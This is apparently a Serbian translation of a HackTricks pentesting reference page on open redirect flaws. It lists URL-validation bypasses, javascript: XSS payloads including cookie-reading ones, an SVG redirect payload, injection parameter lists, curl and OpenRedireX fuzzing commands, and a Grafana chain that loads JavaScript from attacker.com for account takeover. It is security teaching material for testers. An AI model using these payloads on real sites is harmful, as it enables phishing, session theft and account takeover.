Open Redirect

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Open redirect

Redirect to localhost or arbitrary domains

  • Ako aplikacija „allows only internal/whitelisted hosts“, pokušajte alternativne notacije hosta da pogodite loopback ili interne opsege preko redirect target-a:
  • IPv4 loopback varijante: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • IPv6 loopback varijante: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • Trailing dot i casing: localhost., LOCALHOST, 127.0.0.1.
  • Wildcard DNS koji rezoluje na loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Ovo je korisno kada su dozvoljeni samo „subdomains of X“, ali DNS rezolucija i dalje pokazuje na 127.0.0.1.
  • Network-path references često zaobilaze naivne validator-e koji dodaju scheme ili samo proveravaju prefikse:
  • //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
  • Userinfo trikovi zaobilaze contains/startswith provere protiv trusted hosts:
  • https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
  • Backslash parsing konfuzija između frameworks/browsers:
  • https://trusted.tld@attacker.tld → neki backend-i tretiraju “\” kao path char i prolazi validaciju; browsers normalizuju u “/” i interpretiraju trusted.tld kao userinfo, šaljući korisnike na attacker.tld. Ovo se takođe pojavljuje u Node/PHP URL-parser mismatches.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Noviji URL-based bypass payloads ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect otpremanje svg fajlova
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Uobičajeni injection parameters

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Primeri koda

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Tok rada za otkrivanje i iskorišćavanje (praktično)

  • Provera pojedinačnog URL-a sa curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • Otkrivanje i fuzz verovatnih parametara u velikom obimu:
Kliknite za proširenje ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk ‘/30[1237]|Location:/I’ results.txt

</details>

- Ne zaboravite client-side sinks u SPAs: tražite window.location/assign/replace i framework helper-e koji čitaju query/hash i redirectuju.

- Frameworks često uvode footguns kada su redirect destinacije izvedene iz nepouzdanog inputa (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows: zloupotreba open redirectora frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide:

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Server-side gap (Go url.Parse + raw redirect): validators koji proveravaju samo URL.Path i ignorišu URL.Fragment mogu se prevariti stavljanjem eksternog hosta posle #. Ako handler kasnije gradi Location iz unsanitized stringa, fragmenti leak back into the redirect target. Primer protiv /user/auth-tokens/rotate:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Parsiranje vidi Path=/ i Fragment=/..//\//attacker.com, pa regex + path.Clean() odobravaju /, ali odgovor emituje Location: /\//attacker.com, ponašajući se kao open redirect.
  • Client-side gap (validate decoded/cleaned, return original): SPA helper-i koji u potpunosti dekodiraju putanju (uključujući double-encoded ?), uklone query radi validacije, ali zatim vrate original string dozvoljavaju enkodovani ../ da preživi. Browser decoding kasnije pretvara to u traversal ka bilo kojem same-origin endpointu (npr. redirect gadget). Payload pattern:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • Validator proverava /dashboard/script/ (nema ..), vraća enkodovani string, i browser odlazi na /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: chain the traversal with the fragment-smuggled redirect to coerce the dashboard script loader into fetching attacker JS:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • Path traversal dostiže rotate endpoint, koji izdaje 302 ka attacker.com/module.js iz fragment-smuggled redirectTo. Osigurajte da attacker origin servira JS sa permissive CORS tako da browser izvrši kod, što dovodi do session theft/account takeover.

Alati

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Literatura

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks